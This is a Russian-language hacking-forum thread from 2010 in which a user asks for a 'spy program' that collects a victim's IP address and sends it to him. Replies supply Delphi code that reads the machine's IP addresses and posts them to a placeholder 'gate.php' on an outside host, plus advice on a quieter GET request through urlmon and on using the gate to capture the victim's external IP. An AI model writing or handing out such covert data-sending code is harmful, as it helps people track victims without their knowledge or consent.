HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Программа шпион
  #1  
Старый 22.04.2010, 16:52
Sunstrider
Banned
Регистрация: 09.04.2010
Сообщений: 181
С нами: 8468331

Репутация: 12
По умолчанию Программа шпион

Народ 3 дня гуглил не нашел,как сделать чтобы прога читала ип жертвы и сливала мне на почту
 
Ответить с цитированием

  #2  
Старый 22.04.2010, 17:08
ShkiperLol
Познающий
Регистрация: 17.04.2010
Сообщений: 38
С нами: 8457471

Репутация: 0
По умолчанию

что тут писать ? Узнаеш IP и через smtp .
на C# пишется за 5 мин.
 
Ответить с цитированием

  #3  
Старый 22.04.2010, 17:26
xafon
Познающий
Регистрация: 02.12.2009
Сообщений: 37
С нами: 8653311

Репутация: 15
По умолчанию

узнаем ip, думаю с отправкой на мыло труда не составит.
WinSock:
Код:
procedure TForm1.Button1Click(Sender: TObject);
type
 InAddr = Array[0..10] of PInAddr;
 TInAddr = ^InAddr;
var
 Host: PHostEnt;
 pPtr: TInAddr;
 Buffer: Array[0..63] of char;
 i: Integer;
 Socket: TWSAData;
begin
  ListBox1.Clear;
  WSAStartup( $101, Socket );
  GetHostName( Buffer, SizeOf( Buffer ) );
  Host := GetHostByName( buffer );
  if Host = nil then Exit;
  pPtr := TInAddr( Host^.h_addr_list );
  i := 0;
  while pPtr^[i] <> nil do
  begin
     ListBox1.Items.Add( inet_ntoa( pPtr^[i]^ ) );
     Inc( i );
  end;
  WSACleanup;
end;
 
Ответить с цитированием

  #4  
Старый 22.04.2010, 20:25
Sunstrider
Banned
Регистрация: 09.04.2010
Сообщений: 181
С нами: 8468331

Репутация: 12
По умолчанию

для меня это жуть,а через ид хттп мож реализовать +
 
Ответить с цитированием

  #5  
Старый 23.04.2010, 07:14
RedFern.89
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
С нами: 8582863

Репутация: 69
По умолчанию

уж не так то это и сложно))

Код:
uses idHTTP;

........

Function LocalIP : string;
type
  TaPInAddr = array [0..10] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe  : PHostEnt;
  pptr : PaPInAddr;
  Buffer : array [0..63] of char;
  I    : Integer;
  GInitData      : TWSADATA;

Begin
  WSAStartup($101, GInitData);
  Result := '';
  GetHostName(Buffer, SizeOf(Buffer));
  phe :=GetHostByName(buffer);
  if phe = nil then Exit;
  pptr := PaPInAddr(Phe^.h_addr_list);
//    Phe^.h_addr_list - должен содержать IPдля всех интерфейсов.
  I := 0;
  while pptr^[I] <> nil do begin
// приводим их по очерёдности к нормальному виду
    Result := Result + StrPas(inet_ntoa(pptr^[I]^)) + '#10#13' ;
    Inc(I);
  end;
  WSACleanup;
End;


// процедура для отсылки Ip на гейт

procedure SendIp;
var
  HTTP : TidHTTP;
  Str : TStringList;
begin
  HTTP := TidHTTP.Create(nil);
  Str := TStringList.Create;

  Str.Add('ip=' + LocalIp);
  HTTP.Post('http://somesite.ru/gate.php', str);

  Str.free;
  HTTP.Free;
end;
end;
 
Ответить с цитированием

  #6  
Старый 23.04.2010, 09:16
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
С нами: 10097606

Репутация: 3349


По умолчанию

2 RedFern.89 ты чтоли помешан на инди? Нахрена ты его используешь там где нужно и там где не нужно? Зачем отсылать POST запрос. Тут данных не очень много. Пойдет и GET запрос.
В данной сетуации нужно просто тупо вызвать URLDownloadToCacheFile из urlmon которая запросит страницу и результат кинет в кеш. Один хер результаты не нужны
 
Ответить с цитированием

  #7  
Старый 24.04.2010, 13:41
RedFern.89
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
С нами: 8582863

Репутация: 69
По умолчанию

Цитата:
Сообщение от slesh  
2 RedFern.89 ты чтоли помешан на инди? Нахрена ты его используешь там где нужно и там где не нужно?
ибо

Цитата:
Сообщение от Sunstrider  
для меня это жуть,а через ид хттп мож реализовать +
 
Ответить с цитированием

  #8  
Старый 23.04.2010, 09:47
[stranger]
Участник форума
Регистрация: 02.02.2010
Сообщений: 107
С нами: 8563393

Репутация: 28
По умолчанию

да и не факт что у жертвы есть внешний айпи.. вдруг у чела роутер/модем? тогда к тебе на почту придет только айпишник локальный.. 192.168.*.*
 
Ответить с цитированием

  #9  
Старый 23.04.2010, 10:53
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
С нами: 10097606

Репутация: 3349


По умолчанию

2 [stranger] ну по этому и юзаются гейты и потому подобные прелести.
Потому что ты отошлешь все IP которые были определены на компе, а гейт еще и сохранит IP с которого пришли данные. И таким образом можно сравнить есть ли внешний IP или нет.
 
Ответить с цитированием

  #10  
Старый 23.04.2010, 12:39
[stranger]
Участник форума
Регистрация: 02.02.2010
Сообщений: 107
С нами: 8563393

Репутация: 28
По умолчанию

естественно, я просто подчеркнул недостаточность определения айпи локально..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Программа шпион "Прослушка через микрофон" winlogon.exe С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 3 06.06.2009 18:44
Программа Максимум: скандалы, интриги, расследования...в гостях у Античата. -=lebed=- Болталка 92 16.04.2009 14:32



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.